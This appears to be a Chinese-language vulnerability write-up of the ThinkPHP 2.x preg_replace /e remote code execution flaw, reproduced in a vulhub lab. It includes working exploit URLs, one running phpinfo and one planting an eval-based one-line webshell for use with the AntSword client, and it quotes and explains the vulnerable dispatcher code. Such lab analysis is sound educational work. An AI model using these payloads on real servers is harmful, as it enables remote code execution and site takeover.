ThinkPHP系列漏洞分析-2.x任意代碼執行
環境部署
使用vulhub進行部署https://vulhub.org/,具體參考百度即可。
啟動環境

訪問環境

漏洞利用條件
thinkphp2.x或ThinkPHP3.0[因3.0版本Lite模式下沒有修復該漏洞] && PHP版本為5.6.29以下

通過報錯和查看網絡報文可以看到thinkphp為2.1版本,PHP為5.5.38。
漏洞利用
查看phpinfo
http://xxxxx:8080/index.php?s=/index/index/xxx/${@phpinfo()}

構造一句話木馬
http://xxxxx:8080/index.php?s=/index/index/xxx/${@print(eval($_POST[1]))}
這里直接將url構造好,復制到蟻劍一鍵連接即可,此方法不需要將一句話木馬寫到服務器上。

到此漏洞利用結束。
漏洞原理
漏洞存在的文件:
/ThinkPHP/Lib/Think/Util/Dispatcher.class.php

關鍵漏洞代碼
self::getPathInfo();
if(!self::routerCheck()){ // 檢測路由規則 如果沒有則按默認規則調度URL $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/')); $var = array(); if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){ $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : ''; if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) { // 禁止直接訪問分組 exit; } } if(!isset($_GET[C('VAR_MODULE')])) {// 還沒有定義模塊名稱 $var[C('VAR_MODULE')] = array_shift($paths); } $var[C('VAR_ACTION')] = array_shift($paths); // 解析剩余的URL參數 $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); $_GET = array_merge($var,$_GET); }
preg_replace('正則規則','替換字符','目標字符') /e為執行模式
如果該正則規則表達式中使用了/e修飾符,那么就會存在代碼執行漏洞
thinkphp2.x有漏洞的代碼是:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
對應上面的表達式就是
正則表達式:'@(\w+)'.$depr.'([^'.$depr.'\/]+)@e'替換字符:'$var[\'\\1\']="\\2";'目標字符:implode($depr,$paths))
可控的位置是implode($depr,$paths))
implode是將數組拼接成字符串,作用是將傳過來的$path,以$depr為分隔連接起來。$depr表示網頁路徑的"分隔符"[也就是當前目錄"/"];
$path是從$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'))傳遞過來的,explode是將字符串以$depr打散成數組,也就是把a/b/c${@print(eval($_POST[1]))}打散重組。
正則表達式匹配的分析
首先\w+匹配到一個以上字符,接下來$depr匹配到一個網頁路徑分隔符,([^'.$depr.'\/]+),首先[abcd]表示匹配abcd以外的所有字符,因此,原式所匹配的規則為匹配一個或多個除網頁分隔符和"\"以外的字符,將輸入匹配到的結果為a/b,c/${@print(eval($_POST[1]))},php這里的@符號,可能是為了防止出現不必要的報錯。【嘗試將@去掉,并沒有報錯】
preg_replace函數理解
preg_replace('/aaa(+?)aaa/ies',$a,$b)
'i'取消大小寫敏感,當$a為一個可以傳遞參數的函數例如test(),$b為一個匹配到正則表達式的字符串如"aaaaabbbbaaaaa",最后輸出的結果是test(bbbb),函數處理的結果加上了[aaaa]
原本應該被匹配掉的替換了bbbb竟然被作為了參數傳入了替換的函數中去,并且被執行了,所以當替換目標字符可控,我們就可以構造想要被執行的函數,比如寫個一句話木馬。
這里還有一個知識點就是${}里面寫的變量名為已知函數名稱時,函數會被執行,輸出結果會以報錯的形式回顯。
為什么是index.php
ThinkPHP5.1在沒有定義路由的情況下典型的URL訪問規則是:http://servername/index.php(或者其他入口文件)/模塊/控制器/操作/[參數名/參數值]如果不支持APTHINFO的服務器可以使用兼容模式訪問如下:http://servername/index.php(或者其他入口文件)?s=/模塊/控制器/操作/[參數名/參數值]
團隊博客:www.meta-sec.top